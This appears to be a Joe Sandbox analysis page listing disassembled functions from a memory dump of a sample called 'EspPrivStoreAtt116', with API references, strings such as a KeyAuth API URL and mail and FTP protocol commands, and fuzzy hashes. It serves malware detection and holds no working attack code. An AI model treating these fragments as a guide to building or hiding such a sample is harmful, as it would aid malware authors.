Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_$APPEND %s (\Seen) {%I64d}$Cannot APPEND with unknown input file size$Cannot APPEND without a mailbox.$Cannot SELECT without a mailbox.$Mime-Version$Mime-Version: 1.0$SELECT %s
API String ID: 1294909896-3146291949
Opcode ID: be4495601e09c0e77f4391925541b9df5882915bdba6fd6e21452db4e1504eff
Instruction ID: 11d0b10a9c753ae78ae5cfac06a3229322e433d40aee94f6ad15213c64e5f60a
Opcode Fuzzy Hash: be4495601e09c0e77f4391925541b9df5882915bdba6fd6e21452db4e1504eff
Instruction Fuzzy Hash: F9919021B2CF92C2FB64BB3595403BDA290FF45B84F848635DA4E47685EF2CE442CB60

Function 00007FF747D31FC0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D32380: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32479
Part of subcall function 00007FF747D32380: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D324B8

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

Part of subcall function 00007FF747D33BC0: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D33C06

Part of subcall function 00007FF747D35DE0: memcpy.VCRUNTIME140(?,?,?,00007FF747D31DCA), ref: 00007FF747D35E71

Part of subcall function 00007FF747D33C40: memcpy.VCRUNTIME140 ref: 00007FF747D33C93

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32131
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32181
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D321D2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32212
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32264
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D322A3
__std_exception_copy.VCRUNTIME140 ref: 00007FF747D322F6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32347

Strings

parse error, xrefs: 00007FF747D3204B
parse_error, xrefs: 00007FF747D32021

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$__std_exception_copy
String ID: parse error$parse_error
API String ID: 2484256320-1820534363
Opcode ID: 7e088b45bbefa9f75e37261047a4b994afe4f3e673d1bf87e421fbd8d98dbb04
Instruction ID: 54da5762fa5d93c9477c56923846604aa98f9e9e38dbb716016a4ed63f5542af
Opcode Fuzzy Hash: 7e088b45bbefa9f75e37261047a4b994afe4f3e673d1bf87e421fbd8d98dbb04
Instruction Fuzzy Hash: CAB19262E28B46C6EB00EF64E9443AD6761EB457A4F904731DA6D03AE9DF7CE0C6C710

Function 00007FF747D5C6E0 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 162COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5C75A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5C775
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5C7F2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5C87C

Strings

Switch to %s, xrefs: 00007FF747D5C907
Maximum (%ld) redirects followed, xrefs: 00007FF747D5C847
Switch from POST to GET, xrefs: 00007FF747D5C946
Issue another request to this URL: '%s', xrefs: 00007FF747D5C887
HEAD, xrefs: 00007FF747D5C8E7
GET, xrefs: 00007FF747D5C8EE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch to %s
API String ID: 1865132094-1312055526
Opcode ID: dd9d7af58e6bbe8eb93ee73e5defa075ebf5cb275832164a3fb021438fdb4af6
Instruction ID: 227a7e78b13b160dfc9b1d526a76dd054c96a95cf935b8e9209b7c212ace0096
Opcode Fuzzy Hash: dd9d7af58e6bbe8eb93ee73e5defa075ebf5cb275832164a3fb021438fdb4af6
Instruction Fuzzy Hash: 3671C762A2C683C2E760BB2494403BDA7E0EB45B94FD90231DE8D4B699DF3DD4478B71

Function 00007FF747D51880 Relevance: 17.6, APIs: 14, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D518FD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5191A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5192E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5194A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51967
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5198A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5199E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D519B2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D519D8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D519EC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A00
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A4F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A5C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A85

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 95def14f1c7f15620b6fe9dc28262b73bc3905a93dfb7c3e10dc90a189a3b1e2
Instruction ID: 174ce4fdbd45a2c6f59589cf16e619e7ca784d8c135661676d13222935ee6eae
Opcode Fuzzy Hash: 95def14f1c7f15620b6fe9dc28262b73bc3905a93dfb7c3e10dc90a189a3b1e2
Instruction Fuzzy Hash: 5E51FD3156CA82C1EB14BF61D8912FD63A0FF84F88F884631DE5E5B759CE3990428B30

Function 00007FF747D8BF90 Relevance: 16.8, APIs: 2, Strings: 9, Instructions: 279COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8C45B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8C4B3

Strings

XOAUTH2, xrefs: 00007FF747D8C315
GSSAPI, xrefs: 00007FF747D8C126
CRAM-MD5, xrefs: 00007FF747D8C1E2
PLAIN, xrefs: 00007FF747D8C36A
NTLM, xrefs: 00007FF747D8C219
OAUTHBEARER, xrefs: 00007FF747D8C2A2
LOGIN, xrefs: 00007FF747D8C3D3
DIGEST-MD5, xrefs: 00007FF747D8C1C3
EXTERNAL, xrefs: 00007FF747D8C0AB

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: CRAM-MD5$DIGEST-MD5$EXTERNAL$GSSAPI$LOGIN$NTLM$OAUTHBEARER$PLAIN$XOAUTH2
API String ID: 1294909896-1896214517
Opcode ID: 17df755b10fac1e88797debdb8b90d3a62f6c9fec5382a4a4cac19bd8b1938f0
Instruction ID: cc4b1b2cc6af26e307e00b930227d53c7a9a1c23bde9cf9482a19f6e1cd9d7d8
Opcode Fuzzy Hash: 17df755b10fac1e88797debdb8b90d3a62f6c9fec5382a4a4cac19bd8b1938f0
Instruction Fuzzy Hash: C2D16E6251D782C5EB60EF14E4403A9B7A0FB45B94F890276DEAD07798DF3CE44ACB24

Function 00007FF747D6DFC0 Relevance: 16.7, APIs: 5, Strings: 6, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D6C990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF747D53D1F), ref: 00007FF747D6C9BE

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E25E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E268
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E2C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E2CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6E2DA

Strings

UID, xrefs: 00007FF747D6E156
MAILINDEX, xrefs: 00007FF747D6E197
UIDVALIDITY, xrefs: 00007FF747D6E115
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_, xrefs: 00007FF747D6DFC8
SECTION, xrefs: 00007FF747D6E1D8
PARTIAL, xrefs: 00007FF747D6E216

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_$MAILINDEX$PARTIAL$SECTION$UID$UIDVALIDITY
API String ID: 2190258309-1670639106
Opcode ID: 2a7873e3fd38833d2e4eee7041f00873f26491dc6f2d32e7f3074412294e4d36
Instruction ID: 85225eff517533fe9f6dbb2400988058959ae0364fcb6ce70a47c51cd232ac37
Opcode Fuzzy Hash: 2a7873e3fd38833d2e4eee7041f00873f26491dc6f2d32e7f3074412294e4d36
Instruction Fuzzy Hash: 7BA1A56292DE82C5EB64BF31D4403BCABA1FB45788F844235EA4E47A85DF3CD482C760

Function 00007FF747D4D240 Relevance: 16.6, APIs: 11, Instructions: 119stringCOMMON

Download Yara Rule

APIs

_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF747D4D287
_access.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF747D4D297
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4D2AE
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4D32A
strrchr.VCRUNTIME140 ref: 00007FF747D4D347
strrchr.VCRUNTIME140 ref: 00007FF747D4D357
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4D387
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4D393
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4D3A2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4D3B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4D3C9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$free$strrchr$_access_stat64
String ID:
API String ID: 2557200964-0
Opcode ID: 84dbd7d387848211ce90fc92c2da0d7d496f12dbdcdf86f95287380649613b1b
Instruction ID: 2ff009c8c4fad43610e58aea91d2c7f729690fd0992ef47df15721f4454c6a6a
Opcode Fuzzy Hash: 84dbd7d387848211ce90fc92c2da0d7d496f12dbdcdf86f95287380649613b1b
Instruction Fuzzy Hash: C1417F61B5DB46D6EA10BB51E495279A3E0FF48B90F844234DB5E07B94EF3CE416CB20

Function 00007FF747D7EE50 Relevance: 16.6, APIs: 11, Instructions: 89COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EE65
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EE7F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EE9A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EEB6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EED2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EEEA
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF02
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF1A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF32
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF4A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF64

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$callocfree
String ID:
API String ID: 1183638330-0
Opcode ID: 6c5616982f5c6c375460ad02fc021eb938bf1702e2b18ac9b8deb50ac20e7ea7
Instruction ID: a1a6e66e979f70e2264694211e76775af439c1f487a1155deaeb3b53bd0db8b9
Opcode Fuzzy Hash: 6c5616982f5c6c375460ad02fc021eb938bf1702e2b18ac9b8deb50ac20e7ea7
Instruction Fuzzy Hash: E531F625A2EB02C2EE59FFA5E050238E3E0FF48B41B880635DE5D56B44EF3CE451CA61

Function 00007FF747D52570 Relevance: 16.4, APIs: 13, Instructions: 164stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF747D525A8
strchr.VCRUNTIME140 ref: 00007FF747D525CF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52684
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D526AA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D526CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D526DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D526E5
memcpy.VCRUNTIME140 ref: 00007FF747D52703
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52717
memcpy.VCRUNTIME140 ref: 00007FF747D52734
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52749
memcpy.VCRUNTIME140 ref: 00007FF747D52761
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52776

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy$strchr
String ID:
API String ID: 1615377186-0
Opcode ID: bd7767ed242e23caaf6037ae44a9cf72ff2c28187d5f66eb61473461553de434
Instruction ID: 0466ba6a240e0631ab0e7c1623ca6c1ab2cf649b3849462fb2b4ff3281ceb04f
Opcode Fuzzy Hash: bd7767ed242e23caaf6037ae44a9cf72ff2c28187d5f66eb61473461553de434
Instruction Fuzzy Hash: 7451806572DB82C6EA65BF15A61427AE391BB44BC4FC94630DE8D07748DF3CF40A8B20

Function 00007FF747D54490 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D544D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D544E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5450C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D54519
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D54542
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5454F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D54580
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5458D

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 00007FF747D54619

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 2653869212-3983049644
Opcode ID: 7dce388daf7c0360c429ed901a4c1932f585a7893eb07c867ca39c62f188127c
Instruction ID: 65cafe4992764bea11dd7fb1efc105d9093293b98a92acf907dc021dd85fe70b
Opcode Fuzzy Hash: 7dce388daf7c0360c429ed901a4c1932f585a7893eb07c867ca39c62f188127c
Instruction Fuzzy Hash: 7471D262A1CB92C3EB65BB25D4543AAA7A0FB44784F860231CF5D07390DF3DE412CB62

Function 00007FF747D5444D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D544D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D544E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5450C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D54519
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D54542
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5454F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D54580
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5458D

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 00007FF747D54619

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 2653869212-3983049644
Opcode ID: 730130e72ca5b2f77c77e0587357a2e092e42673f74bbb5f9fb3c086bc5617db
Instruction ID: 513605b402ee8a7c4e2d755b109cc66499a07e10cf3c925b1184bf8cb4748625
Opcode Fuzzy Hash: 730130e72ca5b2f77c77e0587357a2e092e42673f74bbb5f9fb3c086bc5617db
Instruction Fuzzy Hash: 77519162A1CB92C3EB25BB65D4543AAA7A0FB44784F860231CF5D47390DF3DE452CB61

Function 00007FF747D74EA0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 117COMMON

Download Yara Rule

Strings

NLST, xrefs: 00007FF747D74F9B
Couldn't set desired mode, xrefs: 00007FF747D74EBE
Got a %03d response code instead of the assumed 200, xrefs: 00007FF747D74EE0
LIST, xrefs: 00007FF747D74FA2
%s%s%s, xrefs: 00007FF747D74FC5

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: %s%s%s$Couldn't set desired mode$Got a %03d response code instead of the assumed 200$LIST$NLST
API String ID: 0-1262176364
Opcode ID: ded250658884f41e0378a3ce4c28d0c9ad827b194099825220e4300c7fafc72d
Instruction ID: 651f6a065dede9f6f21fd2dff3800348da6fcd5af07fc3f605375d84ffd6f477
Opcode Fuzzy Hash: ded250658884f41e0378a3ce4c28d0c9ad827b194099825220e4300c7fafc72d
Instruction Fuzzy Hash: D0410622B2C252C6EB25BF55E4402B9E360BF41BC0FC44235DA4E1B695DF3CE846CBA0

Function 00007FF747D87EDE Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 103COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D87F12
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

FALSE, xrefs: 00007FF747D87F07
Expire Date: %s, xrefs: 00007FF747D883F7
TRUE, xrefs: 00007FF747D87F00
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

